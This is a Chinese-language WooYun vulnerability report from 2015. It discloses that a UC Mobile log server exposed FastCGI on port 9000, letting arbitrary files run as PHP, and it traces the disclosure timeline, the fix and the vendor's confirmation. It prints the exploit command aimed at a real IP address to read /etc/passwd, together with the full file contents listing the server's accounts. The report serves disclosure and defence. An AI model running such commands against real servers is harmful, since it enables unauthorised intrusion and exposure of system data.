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缺陷编号:wooyun-2015-094154

漏洞标题:UC某日志管理服务器配置不当可被getshell

相关厂商:UC Mobile

漏洞作者: boooooom

提交时间:2015-01-27 12:35

修复时间:2015-03-13 12:36

公开时间:2015-03-13 12:36

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-01-27: 细节已通知厂商并且等待厂商处理中
2015-01-27: 厂商已经确认,细节仅向厂商公开
2015-02-06: 细节向核心白帽子及相关领域专家公开
2015-02-16: 细节向普通白帽子公开
2015-02-26: 细节向实习白帽子公开
2015-03-13: 细节向公众公开

简要描述:

RT

详细说明:

fastcgi 对外,可将任意系统文件当php执行

[root@localhost fastcgi]$ /usr/local/php/bin/php fcgiget.php 221.238.196.225:9000/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
htt:x:100:101:IIIMF Htt:/usr/lib/im:/sbin/nologin
nemo:x:500:500::/home/nemo:/bin/bash
nagios:x:501:501::/home/nagios:/bin/bash
mysql:x:503:503::/home/mysql:/bin/bash
ucus:x:502:513::/home/ucus:/bin/bash
cd_manager:x:504:513::/home/cd_manager:/bin/bash
cd_mgr2:x:514:514::/home/cd_mgr2:/bin/bash
ucfz:x:515:515::/home/ucfz:/bin/bash
readonly:x:516:516::/home/readonly:/bin/bash
mfs:x:517:517::/home/mfs:/bin/bash
nemoread:x:518:518::/home/nemoread:/bin/bash
hadoop:x:519:519::/home/hadoop:/bin/bash
shuzy:x:520:520::/home/shuzy:/bin/bash
shizy:x:521:521::/home/shizy:/bin/bash
ucbase:x:522:522::/home/ucbase:/bin/bash

漏洞证明:

可shell

xx.jpg


可后台

x.jpg

修复方案:

fastcgi不对外

版权声明:转载请注明来源 boooooom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-27 19:34

厂商回复:

漏洞存在,已转给相关人员处理,非常感谢!

最新状态:

暂无